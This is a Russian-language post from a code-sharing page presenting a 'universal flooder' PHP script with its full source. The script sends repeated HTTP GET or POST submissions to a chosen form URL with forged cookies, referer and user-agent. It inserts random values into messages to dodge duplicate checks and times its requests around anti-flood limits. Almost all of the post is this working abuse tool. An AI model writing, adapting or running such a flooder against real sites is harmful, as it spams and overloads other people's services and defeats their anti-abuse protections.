PHP

Универсальный флудер на PHP

Представляю вашему вниманию универсальный флудер на языке PHP.
 	<?php
 	/*
 	* Figaroo Multi-purpose Flooder v1.0
 	*
 	* Описание: универсальный флудер
 	* Требования: разрешение на работу с сокетами
 	* Автор - Figaroo, http://blogfigaroo.ru/
 	*/
 	 
 	// неограниченное время выполнения скрипта
 	set_time_limit(0);
 	 
 	// настройки
 	define('URL', 'POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
 	define('TIMES', 3); // количество сообщений, которых требуется отправить
 	define('ANTIFLOOD', 5); // время задержки (антифлуда), в секундах
 	define('COOKIES', 'param1=a; param2=b'); // кукисы
 	define('REFERER', 'http://localhost/poligon/global_flooder/test.php'); // реферер
 	define('USERAGENT', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
 	define('RNDVAR', '<VAR>'); // случайный текст будет подставлен вместо этого
 	 
 	// данные для отправки методом GET
 	// <VAR> будет заменено на случайное значение
 	$GET_DATA = array(
 	    'text' => 'Привет всем!',
 	);
 	 
 	// данные для отправки методом POST
	// <VAR> будет заменено на случайное значение
 	$POST_DATA = array(
 	    'message' => 'Тест. message =) [<VAR>]',
 	    'test' => '123',
3 	);
 	 
 	// флудим
 	$count = 0; // счётчик отправленных сообщений
 	$url = explode(' ', URL);
 	$method = $url[0];
 	$url = parse_url($url[1]);
 	if (!@$url['port']) $url['port'] = 80;
 	$GET_DATA = array_function('rnd_var_handl', $GET_DATA);
 	$GET_DATA = $GET_DATA ? http_build_query($GET_DATA) : '';
 	$POST_DATA = array_function('rnd_var_handl', $POST_DATA);
 	$POST_DATA = $POST_DATA ? http_build_query($POST_DATA) : '';
 	 
 	// отправка сообщений в цикле
 	for ($i = 0; $i < TIMES; $i++) {
 	    $fp = @fsockopen(@$url['host'], @$url['port'], $errno, $errstr, 10);
 	    if (!$fp) continue;
	    // формируем заголовки запроса:
 	    $req = $method." ".@$url['path'].($GET_DATA ? '?'.$GET_DATA : '')." HTTP/1.1\r\n";
 	    $req .= "Host: ".@$url['host']."\r\n";
 	    if (USERAGENT) $req .= "User-agent: ".USERAGENT."\r\n";
 	    if (COOKIES) $req .= "Cookie: ".COOKIES."\r\n";
 	    if (REFERER) $req .= "Referer: ".REFERER."\r\n";
 	    if ($method == "POST") {
 	        $req .= "Content-type: application/x-www-form-urlencoded\r\n";
 	        $req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
 	    }
 	    // отсылаем запрос
 	    $req .= "\r\n";
 	    if ($method == 'POST') $req .= $POST_DATA;
 	    fwrite($fp, $req);
 	    fclose($fp);
 	    $count++;
 	    // ждём $antiflood микросекунд и повторяем цикл
 	    if (ANTIFLOOD) sleep(ANTIFLOOD + 1);
 	}
 	 
 	// замена "случайной" переменной
 	function rnd_var_handl ($data) {
 	    return str_replace(RNDVAR, md5(microtime(1)), $data);
 	}
 	 
 	// рекурсивная обработка массивов
 	function array_function ($func, $array) {
 	    if (!is_array($array)) return call_user_func($func, $array);
 	    foreach ($array as $k => $v) {
 	        if (is_array($v)) $array[$k] = array_function($func, $v);
 	        else $array[$k] = call_user_func($func, $v);
 	    }
 	    return $array;
 	}
 	 
 	?>
 	<html>
 	<body>
 	<b>Отчёт:</b>
 	 
	<ul>
 	<li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
 	<li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
 	<li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
 	<li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
 	</ul>
 	<i>Figaroo Multi-purpose Flooder v1.0</i>
 	 
 	</body>
 	</html>
Добавлено: 20 Августа 2013 07:28:18 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...